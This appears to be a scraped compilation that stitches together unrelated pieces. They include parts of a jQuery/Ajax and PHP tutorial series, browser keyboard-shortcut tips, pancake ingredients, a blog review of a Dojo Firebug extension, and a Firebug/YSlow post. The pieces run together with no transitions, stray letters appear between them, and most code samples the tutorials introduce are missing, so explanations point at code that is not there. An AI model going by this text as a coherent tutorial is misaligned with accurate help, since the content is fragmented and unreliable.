One other note, the statement – $(‘#saveURL’).val(), is an example of a getter method, i.e., val(). This is one of the overloaded methods used by jQuery. When an argument is not included in val(), it returns the value of the first DOM element in the jQuery Object returned by the jQuery Function ‘$(‘#saveURL’). Note also that the entire statement – $(‘#saveURL’).val() clearly does not return a jQuery Object! Instead it returns a string representing the target URL. Is this then chain-able?  That’s right it is not.

The second argument in the post method is ‘obj’ which represents the data we are passing to the URL in the first argument. Not surprisingly the data will be presented to the target PHP document as post variables in the $_POST[' '] array. Using Firebug we can look at the result of the Ajax call to the server.

The PHP file ‘ajaxSaveSurvey.php’ that receives this information looks something like this:

The only thing occurring in this PHP file is that we are taking the Survey data from the Ajax posting and copying it to the PHP convenience object that we constructed to use with the server-side approach. Once we initialize the object we save it as a session variable ($_SESSION['survey']) so that it is accessible by the Controller file. The ‘Finished’ sent back as a reply has no purpose other than debugging.

The third argument is a callback function. Ajax methods under jQuery can assign any of three handlers (success, error, complete) after the request. For the .post() method the handler (callback function) represents success. That means, if the Ajax call is a success this function will be called and it’s code executed.

In the case of a ‘success’ only one thing needs to occur, we trigger the document button that has an attribute ‘id’ equal to ‘saveOut’. Do not be confused with this syntax $(‘#saveOut’).click();, it is not binding a click event to the jQuery Functions select argument (‘#saveOut’). How do we know this? Because there is no event handler as an argument for the click event. In effect this is the same as if we had written $(‘#saveOut’).trigger(‘click’);. This trigger is the final jQuery command that is executed in the Survey process. When the HTML button is clicked by this code, control is returned to the PHP Controller file. You saw this code at the top of the session:

When the form (ajaxForm) above is submitted the only post variable returned to the Controller will be ‘saveOut’. The Controller will use a condition statement to capture that response and save the Survey result to the MySQL table. The Controller script might look something like this:

This save logic is shared by both the server and client-side approaches. That is PHP manages both. Within the try / catch block we call the save routine. If the save fails a DataException is thrown and caught in the catch component of the try / catch block. Note that we generate an error log message but do not bother to inform the User. The User has no interest in our problems and there is nothing they could do. We write an error message so that we can correct the problem. Meanwhile we send the User on their way.

Because the post method only comes with a ‘success’ handler we need to take some steps to handle an error. We do this by adding an error handler to the post method. Here is the snippet from above that applies:

This is confusing to me, I suspect its confusing to you. This looks like we’re chaining an error method to the end of a post method. But that cannot be. Why? Because the post method returns a jqXHR Object not a jQuery Object. Are they the same? No they are not the same. But the jqXHR object does have an .error() method as well as a .complete() method. So in effect you are chaining but not the jQuery Object rather the jqXHR object. Still confusing!

The whole Ajax post method could have been rewritten like this:

According to the manual jqXHR is a superset of the browser’s native XMLHttpRequest object. I ran a little routine to list the properties and methods associated with this object, with the following results:

I

Back to the .error() method whose handler is called if an error occurs. In this case another button is triggered – $(‘#failOut’).click();. This is the second button in the documents ‘ajaxForm’. When this one is triggered a post variable is generated ($_POST['failOut']) and returned to the PHP Controller file. The Controller will use a condition statement to capture that response and send the User on their way. The Controller script would look something like this:

As you can see no attempt is made to save the Survey response to the MySQL table. The error that occurred in the Ajax call in this case is logged in the jQuery code, i.e., throw new Error() which is the standard way I handle errors in jQuery. For more information on this see my jQuery Error Handling Session.

Together this PHP Controller file and the jQuery Script will handle this feature regardless of whether the User has JavaScript enabled in their browser or not!

I’m certain as you went through this session you said to yourself, “Wow I wouldn’t have done it that way!”. Welcome to jQuery. The library offers a large number of ways to achieve any non-trivial project. In some cases I chose a circuitous route because I wanted to make a point or demonstrate a condition I thought you should know, often it is just poor design. I am sure you can improve on any of my sessions, please do.

Enjoy.

Don

Basic Web Browser Tips by Lorelle VanFossen for Clark College from Lorelle VanFossen

Please note that the video refers to the Windows keyboard shortcuts using the CTRL key. This is the equivalent to the CMD key on Mac.

For mobile devices, long presses usually activate the equivalent of keyboard shortcuts and right clicks, though not all of them may be available in the apps you are using.

Here are some of the specific tips covered in the video.

• Editing (just like in a word processor)
  • CTRL+C = Copy
  • CTRL+X = Cut
  • CTRL+V = Paste
  • CTRL+Z = Undo
• CTRL+T = Open New Tab
• F5 = Reload/Refresh Page
• Zoom in and out of a web page (magnify): CTRL+Plus and CTRL+Minus
• Right click on links on the page brings up the right click menu to access link specific options and features.
• Right click on blank or empty spaces on a web page brings up the right click menu for page specific options and features.
• Learn to open web pages in tabs not windows. This saves on computer memory issues and speeds up your browser process.
  • Use Mouse and Keyboard shortcuts: CTRL + Left Click on Link = Opens Linked Page in New Tab
• Fast Navigation through Browser Tabs
  • CTRL+T = Opens New Tab
  • CTRL+1 = Goes to Tab #1
  • CTRL+ 2, 3, 4, etc. goes to that tab number
  • CTRL+Arrow = moves focus to next and previous tab
• Working on web page design or WordPress? Refresh and you don’t see changes? You need to clear the cache and do a "hard" clearing page reload. F5 or SHIFT+F5 OR do a Cache Refresh
  • CTRL+F5 (Firefox and Chrome)
  • CTRL+Shift+R (Firefox)
  • CTRL + R (Chrome)
  • (You may have to repeat a couple times)
• To view the source code of a web page: Right Click > View Page Source
• Web Developer Tools
  • Use Built-in Web Developer Tools plus Firebug:
  • Measure It: Measure It for Firefox or Measure It for Chrome
  • Color Pickers: Colorzilla for Firefox and Chrome
  • Copy Link as Proper HTML Link: CoLT for Firefox or Chrome Create Link or Chrome Copy Link Text
  • For preserving and sharing code snippets on your site, in comments, forums, and social media use PasteBin: Pastebin for Firefox and Chrome

135g/4¾oz plain flour

1 tsp baking powder

½ tsp salt

2 tbsp caster sugar

130ml/4½fl oz milk

1 large egg, lightly beaten

2 tbsp melted butter (allowed to cool slightly) or olive oil, plus extra for cooking

To serve

Maple syrup

Butter

Introduction

I love firebug for my client side JavaScript development – for many reasons too numerous to mention here. If you have no idea what firebug is then you should google it and find out – USE IT and you will never go back…..

So what’s this Dojo extension all about then ?

Right off the bat I loved finding this quote “The Dojo Firebug Extension started as an internal IBM initiative to help IBMers working with Dojo.”, and more importantly got me straight off on the thought of what can this do for me in my XPages?

The documentation is available here - https://getfirebug.com/wiki/index.php/DojoFirebugExtension_Reference_Guide and as firebug extensions go – this one is fairly well documented – nice job

You have to download a different version based on your firebug and your firefox version….that’s kinda weird and disconcerting and they don’t have my version of firebug or firefox – but hey we truck on in hope.

So What does it do for me as an XPages developer?

Good question – let’s find out…

Well the first thing it showed me was how MASSIVELY complicated the Dojo integration with XPages is……check out some of these idTags on this Tab Container!!

Dojo Firebug extension in action

Open API documentation

This *could be* really useful – if you can get over how useless the API documentation site is – let me paraphrase…….IF you understand how the Dojo API documentation works this *could be* fantastically helpful…..

In my previous article on how I figured out how to use the Dojo Tab Container doLayout (where the screenshots come from) I was struggling to find out what I needed to make the Tab Panel heights dynamic. Would this have helped?….I was kinda bitter at this point as I figured it would have….so i soldiered on..

Select the tab container and look at the extension

Selecting open API documentation

and opening the API documentation

Dojo API documentation

*yawns* – so not really – but stay with me

The next options *looks* more useful (so why did you show us the API link? Yes you guessed it…… it *is* ‘cos I hate you and I wanted to force you to look at Dojo API documentation – get over it and don’t ask daft questions)

Open Reference Guide Doc

Open Reference Guide Doc

Which shows you this…….

Dojo Reference Guide Documentation

First of all I am really impressed that this actually links to the 1.8 version which was only released this week – but that is also not helpful because XPages 8.5.(What I am using) uses 1.6 so which a quite switch over on the right hand side

Switching to 1.6

We get…

Aw Butts – really?/?

And I was just saying how awesome you guys were – CRAP.

As it turns out the plugin is too smart and not smart enough to detect 1) the version of dojo I am using and 2) that this feature it thinks I am using is available in 1.6…

DOH

DOH *grrr*

Que?

So I didn’t solve that problem but I did find another one – I noticed that IBM modified the Dojo specifically for the extlib!! …if you look at the code reference in the extension

Well that is kinda interesting I guess..

[view:_id1:_id2:_id39:djTabContainer1 (Widget extlib.dijit.TabContainer)]

and when we select to go to the Reference Guide Docs – the URL it is sent to

http://dojotoolkit.org/reference-guide/1.8/extlib/dijit/TabContainer.html

You will see that extlib has been inserted into the URL

the REAL documentation is here

http://dojotoolkit.org/reference-guide/1.8/dijit/layout/TabContainer.html

dijit/layout and not extlib/digit.

If you look at an example from david walsh’s blog you can see the difference…

vive la difference

Anything else?

Well I found out how to manage FireFox profiles - http://www.howtogeek.com/howto/internet/firefox/use-multiple-firefox-profiles-at-the-same-time/ which is kinda useful – so I did learn something useful from this investigation.

There are a number of cool Dojo debugging capabilities if you are really into writing seriously with the dijits whereby you can subscribe to the data and watch it move all over the place – kinda cool – not helpful for XPage development though.

So is this really useful for an XPages developer?

Well I have to say from an purely educational perspective it is really interesting to get an insight into how the dijits work…

Some really complex cool stuff going on in here

But I think my overall impression of the extension is that it will not help an XPage developer develop their XPages at all in any sort of way

Shame really

PS

Let me rephrase that last sentiment – I think this COULD be really useful if IBM were inclined to apply some time and effort to making a similar extension for XPages Dojo development – but isn’t the point of XPages is kinda so we don’t have to worry about Dojo…so it would be an uber-dojo-geek expert XPages developer tool only…meh…who wants to do that??

Shame really

PPS

That is two blog articles in a row about dojo - don’t worry I am not going back to the dark side – jQuery still rocks my world

Firebug (for Firefox) is a tool to improve the performance of any site, and it has various methods to do so. It’s very easy to use and to install even for a new- bee

Let’s get started with Firebug.First, install the Firebug Plugin Firefox. After installing Firebug you have to enable Network Monitoring by clicking the arrow to the right of the Net tab and choosing “enable”. Now refresh the page and as the page loads, you will see a progress bar relative to all the other files.

This will provide you with the data for improving the speed of your website and why was it slow. If an image is taking a long time to load, consider reducing it’s file size. Are there a a lot of .css or .js files? Try compressing them to reduce the HTTP requests.

There are a lot of features that Firebug offers and it boasts of being the most popular and powerful web development tool. But who doesn’t?!? It provides you a step-by-step interactive debugging in a visual environment.

YSlow

Although YSlow can be used on Firefox along with Firebug, I usually use YSlow for Google Chrome. There’s something everyone will definetely love about YSlow . The Yahoo Performance team has identified a set of rules that affect performance on web pages. You can get YSlow here  ! 

Once you are done with the the installation you will notice a fan shapped icon on your browser to the rightmost corner, that is the icon of YSlow. Click on it and you are ready to go check out the performance of your site.

The first attempt of mine on my blog on YSlow, i got the grade D , I added a few CDN’s and the result is as you can see it Grade D and Overall performance score 88. The goal is to keep the performance score above 80, the higher the better.  It’s easier with a Drupal site as you’d have all your files be it .css, .js in your folders, you can do the required changes as suggested by YSlow and reach to a higher grade. Here are some more pictures to give you a clear idea.

The picture below lists the contents of the site, the types of content and it’s details. In a typical Drupal site your would zip all the .css files into a folder to improve the performance and that would be displayed as GZIP files in the TYPE column.

Here is a picture of the statistics of my blog:

So tell me, What do you prefer, Firebug or YSlow? I somehow love them both !!

I

Simple Ajax Session

I

This session is about processing data from the browser to the server. If you have not already read my ‘jQuery Essentials Session’ please do so before continuing. To give you a good overview I am going to take you through an Internet form submission. Now normally I would not use Ajax to submit form data but many web sites do and jQuery has some special methods to support this requirement. Why wouldn’t I submit form data via Ajax? I don’t see any advantage for the User. For a fair amount of data, the server-side process is a superior solution, IMHO. Not only is it just as fast but more importantly I know it will work for all Users (even those with JavaScript disabled).

There are three good ways to package form data for transport via Ajax to the server. The first is using a standard (plain) JavaScript ‘object’, the second is the jQuery Object’s ‘serialize()’ method and the third is the jQuery Object’s ‘serializeArray()’ method. Before we examine each method lets first examine some jQuery script that should handle the process.

In this example we will be processing a Volunteer form. This form probably has a bit more data than I would normally consider a candidate for jQuery / Ajax but provides a worthwhile demonstration. This is what our test form looks like.

Because we are focused on Ajax in this session lets examine the jQuery script for submitting the form.

In this component of the script we are adding a handler for a click event. The click event is bound to a submit ‘button’ DOM element with an ‘id’ equal to ‘vSubm’. When the User clicks the submit button, jQuery will validate and submit the form. If an error occurs a message will appear on the page.

The first statement in this new script uses the event object (eve.preventDefault()) to prevent the default submit action from occurring. I want to do this early because if there are any errors that are not caught I will end up back at my PHP Controller file.

I often see inserted in this kind of script, a simple animation to be displayed while the Ajax transaction is occurring. Exactly the reason you should NOT use jQuery / Ajax for ‘large’ form data. If you have to animate a gif file and/or disable controls while using jQuery / Ajax you are probably using it in the wrong way! You should be using these tools to enhance the User experience. If you have to run an animation to let the User know to wait, you are just substituting one form of wait (client-side) for another (server-side).

The second statement calls a getVolValues() method and assigns the result to a variable called inObj. What we are doing here is packaging the form data to be sent via Ajax to our PHP file for processing. This is an example of using an ‘Object’ to facilitate the data transfer process.

I. We could use the following Object approach:

This approach requires a bit of work but makes the data easy to work with in validation. First you have to get the DOM elements that hold the values we wish to POST via Ajax. These are $selInts for the checked checkboxes on the form and $inputs for all other ‘input’ elements. Note that both variables have a ‘$’ prefix, which you should now know, I use to indicate that the variable references a jQuery Object.

Also as you can see in the jQuery Function selector, we are only interested in those checkboxes that are checked. This should be obvious because of the ‘:checked’ filter. The jQuery Object returned from this jQuery Function will look something like this:

     [
          <input type=​"checkbox" id=​"vIn10" name=​"committee[]​”
                    value=​”Finance” checked=​”checked”>,​
          <input type=​”checkbox” id=​”vIn11″ name=​”committee[]​”
                    value=​”Fundraising” checked=​”checked”>,​
          <input type=​”checkbox” id=​”vIn12″ name=​”committee[]​”
                    value=​”Grants” checked=​”checked”>,​
          <input type=​”checkbox” id=​”vIn13″ name=​”committee[]​”
                    value=​”Literature” checked=​”checked”>,​
     ]

Notice that as I iterate over this jQuery Object ‘$selInts.each(function(){ … }’ to create my ‘ints’ Object I am assigning the ‘value’ attribute to both the name and value of each property. In this way I get rid of the common name ‘committee[]‘ and give each checked response a unique name. This will be convenient later when saving the User selections to the database table. The resulting object should look something like this:

In the other input variable ($input) we are excluding the ‘button’ element, using the ‘:not(“:button, :checkbox”)’ filter. This may look strange to some of you because a button element is NOT an input element. So why do you need to exclude it? The answer is shown earlier in the selector string. The ‘:input’ filter is not the same as selecting the ‘input’ element. The ‘:input’ filter is actually defined by jQuery to include all input, textarea, select, and button elements.

I also exclude the checkboxes (:checkbox) in the $input variable because I have already collected them in the $selInts variable. We already discussed why I did this in two steps, i.e., I wanted to use a different property naming scheme with the checkboxes than the other input elements.

After the proper elements are selected (our jQuery Objects – $selInts and $input) we can use the convenient jQuery Object ‘each()’ method to iterate over the selected DOM elements and create our simple JavaScript objects. You will notice that within both of the ‘each()’ iterations I am using both ‘this’ (representing a DOM element) and ‘($this)’ (representing a jQuery Object). With ‘$(this)’ I can use jQuery methods like val() but with ‘this’ I must use JavaScript properties like ‘name’ and ‘value’. If I wanted to I could have used the jQuery Object attr() method to accomplish the same thing. There is nothing wrong with mixing jQuery methods with JavaScript functions. Actually in most script you will have to, for things like looping and string manipulation.

You have already seen what the ‘ints’ Object looks like (shown above) after the iteration is complete our ‘obj’ Object would look something like this:

Note no buttons and no checkboxes. The object property ‘saveVolURL’ is a hidden element that I passed to the HTML form from the PHP Controller file. Passing inputs in this way can make your code more flexible. You will see us use this property when we get to the actual Ajax method.

The last thing we need to do, to package our data as a plain JavaScript object is to combine the two objects as one. We do this using the jQuery Object extend() method – ‘obj = $.extend({}, obj, ints);’. The extend() method is used to merge the contents of two or more objects. The first argument in the extend() method is the target, i.e., the object that will contain the merged results. In this case an empty ‘{}’ object. The subsequent arguments are the objects you wish to merge with the ‘target’, i.e., obj and ints. The extend() method could have been written a little more concisely as $.extend(obj, ints);. This would have simply added ints to obj! The resulting object should look something like this:

I

II. The second form of data packaging we could use is the Serialize approach:

That’s it, one line of code to do everything we did in the Object Approach.   A lot less code but unfortunately the validation process is more difficult.

Before we get to that difficulty, a quick explanation how this can be done in a single statement. It turns out that only successful controls are serialized to the string. This automatically excludes for us the buttons and the unchecked checkboxes.

The ‘input’ checkbox type that are returned are all returned as committee[] and must be iterated over to get the specific members. Not really a problem.

The problem is with validation. The serialize() method produces a standard-looking query string: ‘a=1&b=2&c=3&d=4&e=5′. The actual form submit would create a String something like this:

“vIn1=Don&vIn2=Howard & vIn4=45+Hobbes+Lane & vIn5=Columbus & vIn6=34 & vIn7=43214 & vIn8=0001 & vIn3=(614)+889-4113 & vIn9=donhoward%40yahoo.com & committee%5B%5D=Finance & committee%5B%5D=Fundraising & committee%5B%5D=Grants & committee%5B%5D=Literature & vIn18=Anytime+after+7%3A00+PM & saveVolURL=JQueryProj%2Fresources%2FajaxPak%2FajaxVolSave.php”

The key here is String. I really prefer to deal with objects! We can parse the string but to do that we have to split by ‘&’ then by ‘=’ then unescape both components of the pairArray created when we split by ‘=’ finally on the value component we have to use a regex statement to remove ‘+’s and replace with ‘ ‘ spaces.

For those interested this will parse the serialized string into an object that is then easy to validate.

The serialized string passed in as an argument above is vStr.

I really don’t like this kind of solution it looks fragile to me and I never feel I have a big enough test bed of data to thoroughly test. For this reason, this is my least favorite approach.

III. The third and final form of data packaging we could use is the SerializeArray approach:

Just like the serialize approach except instead of a string serializeArray() returns an array in this form:

[{name: "a",value: "1"},{name: "b",value: "2"}]. A JSON data structure, much better. The actual form submit would create a data structure something like this:

In effect what we get is an array of objects, where each object has two properties – name and value.

This approach has all the advantages of the serialize() method with none of the disadvantages. With this array we can use a standard for loop to iterate over the array – for(var i=0; i<vAry.length; i++) { … } and access each member’s name and value pair using vAry[i].name and vAry[i].value respectively for easy validation. Yup, when submitting forms, this is the approach for me.

So using the serializeArray() method an array is returned and assigned to var inObj. A bit of a misnomer. Names should always have meaning, do not do this!

That completes the three forms of data packaging for Ajax processing that I think you need to know. Now lets go all the way back to the jQuery script in the ready() event handler. The third statement, $(‘input, select, textarea, button’).attr(‘disabled’, ‘disabled’);, disables all DOM elements on the form including the ‘button’ elements. I do this so that the User cannot accidentally change any of the form data. Again an indicator of a misuse of jQuery / Ajax, IMHO.  Note that I had to call the getVolValues() method before disabling the form because the serializeArray() method does NOT return disabled elements!

The fourth statement calls the validateVolForm(inObj) function passing as an argument our inObj (serializeArray). If I were working on a project I would be using the jQuery Validate plug-in so this function would not be required. But in this session we are not using any plug-ins so I have created a simple validation that checks to make sure something (anything) is entered for first and last names, phone and email. All other fields are optional. Errors are collected in an array and passed back to the var ‘result’. The result variable may be either ‘true’ or an array. This would look something like this:

Because this is not a validation session, so I will not be covering the details of validation here.

Assuming the validation is successful we proceed to the ‘saveVolForm(inObj);‘ function call. At this point we will be passing the data we have packaged to a PHP file that resides on the server using Ajax. This is why we are here. As I said any of the three packaging options (object, serialize, and serializeArray) will work. With forms my preference is serializeArray() because of less code and its simple access to content (for validation).

Here is the code for the ‘saveVolForm() function. The variable highlighted in blue represents the data going out, that is from the client to the server via Ajax. As we said this could be in any of our three packaging approaches (object, serialize, or serializeArray).  The variable highlighted in green represents data coming in, that is from the server back to the client in the form of a response. Because our jQuery Object ajax() method specifies ‘dataType’ as JSON the response will be in JSON format (well, it should be).  Note, the argument ‘jqXhr’ also has a property ‘responseText’ that represents the data coming back from the server.

The first variable ‘phpURL’ retrieves the target URL from the ‘selVals’ variable. You saw this value several times ‘JQueryProj/resources/ajaxPak/ajaxVolSave.php’.  Again I favor passing the URL from the PHP Controller to the HTML document and then to the jQuery script rather than hard coding the URL in the jQuery script.

Though the API specification shows the ajax() method with a URL argument followed by an optional [settings] argument, most of the examples you see will include the ‘url:’ in the setting argument and totally ignore the URL argument, that according to the API is not optional. I’m not sure why that works that way, perhaps a syntax I am not familiar with. Regardless it works both ways. If you prefer to follow the published API you would write the above method as follows:

Note that success: and error: are a part of the settings option that I have not bothered to include here. They remain unchanged.

The ‘type’ property can actually assume many values but for the most part you will only need to worry about ‘Get’ and ‘Post’. Get is the default. If you select ‘Post’ you should be aware that post data will always be transmitted to the server using UTF-8 charset. I prefer ‘Post’ but with ‘xhr’ (XMLHttpRequest) you don’t really need to worry about the visibility issue we have with ‘Get’ and an HTML request. Feel free to use either. If you chose to use ‘Put’ or ‘Delete’ note that they are not supported by all browsers.

The ‘data’ property we have already spent a lot of time on. Rightfully so, packaging the data is very important and an area where many if not most of the errors occur. The data option can contain either a query string (serialize) or a map (object or serializeArray). If the data is not already a query string, it will automatically be converted to one.

Here are the data after transmission to the server as seen in Firebug.

packaged as Object -

packaged as Serialize or SerializeArray -

As you can see the ‘source’ data is the same for all of the packaging approaches after the ajax() method converts them to a query string. There is one difference but we already discussed how with the object approach we chose to use a selected checkbox’s value as both the properties name and value. Note, as we demonstrated above, if you want consistency you can have that as well.

The ‘dataType’ property is the data type that you are expecting back from the server. Most of the time you should know this. If you don’t provide a dataType, jQuery will try to figure it out using the MIME type returned by the browser. When I know what to expect I always define a ‘dataType’ and so should you. As you will see in a moment there are some problems even when you are explicit regarding ‘dataType’.

On last count there were thirty-three optional settings but these are the three I believe you have to know. If you’re interested, review them all at http://api.jquery.com/jQuery.ajax/, so that if you need them you will know they are available.

In PHP or some other server-side language, you will have to capture the data and translate it into a usable form. I use PHP most of the time and prefer to move the results into a simple custom object which is then easy to pass to MySQL for the updating of tables. Instantiating that object with Ajax parameters would look something like this:

Note that in this example we are using the ‘serializeArray’ data which includes the ‘committee’ array. You will have to iterate over this object to get the specific selections made by the User. Also you do not include the square brackets’[]‘ in the variable name!

The settings include two callbacks one from a successful Ajax transaction and one for an error Ajax transaction. Note that a successful Ajax transaction may still result in a failure due to any number of errors such as SQL. We must be prepared to handle these errors when they occur. You can see in the ‘success’ callback that I rely on the argument ‘jsonObj’ for error handling. The jsonObj is the response returned by the Ajax transaction. The other two arguments – successCode and ‘jqXhr’ are also provided but are not used here. I could have removed them but I wanted you to know they were available.

To facilitate the success / error reporting as represented by the jsonObj I again use a simple custom PHP object. To do this I create a Class called Outcome with the following properties:

Which I initialize as a success and modify in case of an error.

Now some bad news. Though we have explicitly requested the data type returned from the server be JSON, depending on the argument this may not be the case. The first argument in the ‘success’ callback is the ‘returned data’. Now you would expect this to be encoded as JSON but this is not always the case, for more detail see my jQuery Essentials Session. Because of this we need to insert a little condition statement before we attempt using the $.parseJSON() method.

Ultimately we want to convert the returned data into a plain JavaScript object for ease of use. However if the returned data is already a plain JavaScript object and you try to use the $.parseJSON() method you will receive an error. The code above will keep that from happening and provide us with a plain object we can use. Once we have our plain object we just need to decide which branch to take.

The pObj (converted jsonObj) provides me with all of the information I will need to handle both a success or a failure other than an Ajax transaction error, which will be captured in the ‘error’ callback. In this simple example I catch any Exceptions and generate a message, if no exceptions are thrown I generate a success message. This type of response is generally SUCCESS or FAILURE notifications that are flashed to the User before returning them to a general menu page. Unlike a validation error there is generally little that can be done to correct the error should one occur at this time.

In the case of a data exception, this capture process would look something like this:

If a standard MySQL transaction should fail I catch the error in a try / catch block and using our simple PHP Class called ‘Outcome’, I set it’s properties to then send it back to our jQuery script as a JSON object. To create the JSON object I used a method of the ‘Outcome’ Class to capture and encode all of the appropriate properties. That would look something like this:

Not much to it. For a complete explanation see my ‘jQuery Essentials Session’.

We then end our PHP procedure by sending the JSON object back to the jQuery script as follows:

echo $out->encodeJSONObj();

Intentionally misspelling the name of one of the MySQL tables we wish to Insert the volunteer information into will result in an ‘Outcome’ object, after encoding, that looks something like this:

We then feed it back to the User as a failure message. Don’t forget to log the error as well. If your not sure now, see my ‘jQuery Error Handling Session’.

Now an Ajax error is a bit different. There are two general sources of Ajax errors, one is a server error and the second is a data error. As a reminder the callback for our ‘error’ setting looks like this:

The three arguments provided by the callback are ‘jqXhr’ (superset XMLHttpRequest) object, ‘errType’ a string which describes the type of error, and ‘errHttp’ an optional exception string. We are only using the first two in this example. Because we are not using the third we could just eliminate it from the anonymous function like this – function(xhr, errType){ … }.

The first argument is ‘jqXhr’ which is a superset of the browser’s ‘xhr’ native XMLHttpRequest object. I did a little routine to take a look at the properties and methods of the ‘jqXhr’ object. Of the twenty-one properties and methods listed I have only used these three methods (success(), error(), and complete()) and the two properties (responseText and statusText) in an error context. Possible values for the second argument (errType) are null, timeout, error, abort, and parseerror. The third argument applies when an HTTP error occurs. In which case this argument represents the HTTP text status, i.e., ‘Not Found’.

In all cases when the ‘error’ event handler fires you are processing a failure. Again, like in an SQL failure, you have little opportunity to correct for this type of error at time of occurrence. In some cases like ‘timeout’ the resource might be temporarily overburdened and the User could try again later and get through but that is pretty much how we hope to handle any error. That is ‘We have experienced a problem, it has been noted and will be addressed. Please try again later.’ Of course you have to log all such errors and actually review the error logs daily to catch and correct them.

Keep in mind this was a simple application of Ajax, but simple is what you will be doing 90% of the time.  That’s all there is to it.

Enjoy.

Don

Come on!!!!

A

jQuery Essentials

A

Client-side JavaScript is a fantastic way to add pop to your site. Done correctly it can also make your site more user friendly. Having said that I would NOT recommend ‘raw’ JavaScript to the Occasional user. Unless you use it daily there is just too much old and new information on the Internet to filter and master.

Fortunately there are several alternatives whether it be jQuery, mooTools, or some other library. These libraries are not only simplified they have the benefit of many eyeballs. Meaning they have an active community of users to identify and fix errors so that the basic functionality is sound and generally cross browser ready. That does not mean ALL browser differences are resolved and until the vendor standard implementation process changes they will continue to be our nightmare. These differences can be very difficult to work-around, fortunately many are the target of plug-ins that tackle the issue for you and me. We won’t actually be dealing with plug-ins in this session but we will in the near future.

Because the jQuery library is built atop JavaScript it is important to have a basic understanding of JavaScript. I’m going to leave the general JavaScript to you. If you have never used JavaScript I would recommend that you at least read through Rebecca Murphey’s jQuery Fundamentals’ Chapter One before continuing.

In this session we are going to be laying out my essentials to jQuery. Again this is targeting the Occasional user, relax your amateur status is secure. There is no way this will make you an expert.

To work with jQuery you will need to download the jQuery libraries you wish to work with and install them in your PHP project. For all things jQuery, you will go to http://jquery.com/, bookmark it for easy accessibility. To begin download the ‘main’ jQuery library from the jQuery home by clicking the ‘Download’ option on the main menu. You should see a page something like this:

Clicking on the current release link will take you down to an anchor on the page where the current release can be downloaded. As of the writing of this session the current release is 1.7.2. If there is a more recent release available you should download it.

It is important to me that you download the ‘uncompressed’ version of the current release.

I want you to have the uncompressed version because debugging can be slightly more difficult when using the minified version. I also prefer you have your own library versus using a CDN (content delivery network) hosted version.

To install your library you will open your IDE (I currently use Netbeans for PHP) and copy the library to a directory within your project. This will vary by IDE and your personal preference. I like to place all of my general-use resources at the top of any project structure in a folder called ‘resources/’. To do this, I create a folder specifically for jQuery resources under the resources folder called ‘jQueryPak/’. For more details see my PHP-Development Structure session. All my .js files would go into this folder for a given project (‘resources/jQueryPak’).

There are three broad types of .js files you will manage in your jQueryPak folder. The jQuery Library files, the jQuery Plug-in files and your own custom jQuery files. You just downloaded the ‘main’ jQuery library, so copy that into the project’s folder structure. For this session that is the only jQuery library you will need.

Before you can use jQuery on a given page of your website you will have to establish a pointer to the jQuery source files you wish to use. There are two places that you commonly setup these links. One, is in the PHP Controller file (index.php) to cover all web pages in that topic area or two, directly in the web page in the header section. The link in the Controller file would look something like this:

Note the use of PHP echo. This resource is located at the top of the Controller file so that it is available to all PHP scripts in the Controller. Any web page opened by this Controller will have access to this ‘main’ jQuery library and can therefore run jQuery.

Opening a jQuery link directly in a web page is very similar:

Using a web developer tool (available via your browser) I checked the generated source and saw the following:

NOTE I have seen it advised that any ‘js’ file with jQuery’s ready method should be placed after CSS links and other ‘includes’ in the Head section of the document (as shown above). The concern is that all element properties be fully defined before any jQuery code in the ready method is executed.

As you can see, both of the script tags will appear on the loaded (generated) web page!

That’s the basic housekeeping now for my jQuery Essentials for the Occasional user! Note that some of the approaches I suggest here will not seem appropriate for the professional who specializes in JavaScript.

Most of what we discuss in this session is going to be in reference to a simple web page as shown in this document layout.

Document Element Layout Diagram

1) You should understand that the user can turn-off JavaScript.

This is very important because it can have a major impact on your user community! For most of us, disabling JavaScript isn’t even a consideration. Unfortunately there are still some out there, a decreasing number true, that don’t want your jQuery POP.  Can you afford to upset any of your client base?

The big difference between client-side and server-side programming is that in client-side a web page is not reloaded when a request is processed, as it is with server-side. Taken further the changes made by client-side requests occur to the same page that is already loaded through a variety of DOM manipulations. The end result is generally a simpler user interface with enhanced speed and visual effects. So if your web site depends on client-side code, what happens if JavaScript is disabled, nothing good. Literally! Events aren’t fired, action is not initiated, users are not happy. Unless you have taken steps that will gracefully fallback to a server-side solution.

Not all client-side manipulations require a fallback strategy. Animations for example are nice to have but are not essential to the functionality of most sites. If the User has disabled script the animations will not be executed and little is lost but a visual affect.

Other client-side processes are critical to the function of the site and should have a server-side fallback strategy. Two that come to mind are form validation and submission. Valuable information can be corrupted or lost without such as strategy.

Browsing some of the popular sites on the Internet I see a variety of strategies. Amazon uses a ‘select’ element (dropdown list) to sort the items in various ways (popular, high price, low price, user ratings) when you are shopping. When you disable script in the browser a button will appear to the right of the list that says ‘go’. In this case when you change the selection you must click the ‘go’ button to actually reorganize the items with a reload of the page. With script enabled any change to the list will appear without a page reload. In the case of Google, it appears they substitute links for dropdown lists when script is disabled. Having said this, both Amazon and Google appear to be functional with script disabled. More clicks, slower process, and not as visually pleasing but functional.

Yahoo’s front page is totally broken with JavaScript disabled. All you get is a small Olympic menu across the top and left side. Going to mail requires you to go back to a prior version and both Yahoo Calendar and NotePad are inaccessible. Some features, like that handy delete all checkbox, were just not available or disabled. When script is disabled, YouTube is totally broken. None of the menus work and it appears that script is required for the flash player to function.

It can be a lot of work to fail safe your site. As you can see from my casual review some major players do not appear to be overly concerned. Still can you afford to alienate any of your users? I mean you’re not trying to replace your entire site here, you just want to add some POP to a few critical sections. Right?

With some careful design some of the difficulty can be mitigated. Menus can be made to appear to work the same in both a script and non-script environment. In other areas, like validation, you need to create code on both the client and server sides. Here is where good design can save a lot of time. I always start server-side and once it is all working add the client-side.

You have come to JavaScript (jQuery) to enhance the user experience, lets not take a chance in alienating anyone.

2) You should understand the basics of the Document Object Model.

The Document Object Model (DOM) defines a logical structure of documents (think of a web page for us) that then allows us to access and manipulate it. With the DOM, we can build documents, navigate their structure, and add, modify, or delete elements and content. In effect the DOM is an application programming interface (API) for documents. A simple DOM structure will look like our diagram:

Each icon on the diagram representing a DOM element. Using jQuery we can select one or more of those elements for our own pleasure.

3) You should know what a DOM element is.

Think of what an HTML tag represents on a web page and that is a DOM element. Examples of DOM elements are:

Headings	Embedded Images	Labels	Form Controls
Divs	Links	Anchors	Spans
Tables	Textareas	Table Rows	Table Data Cells
Ordered Lists	Interactive Forms	Paragraphs	Menu Lists
Options	List Items	Unordered Lists	Option Selectors

A

You know, those things in JavaScript you would have accessed by using their name or id, i.e., ‘document.getElementById(“myEle”);’.

4) You should know four basic JavaScript features.

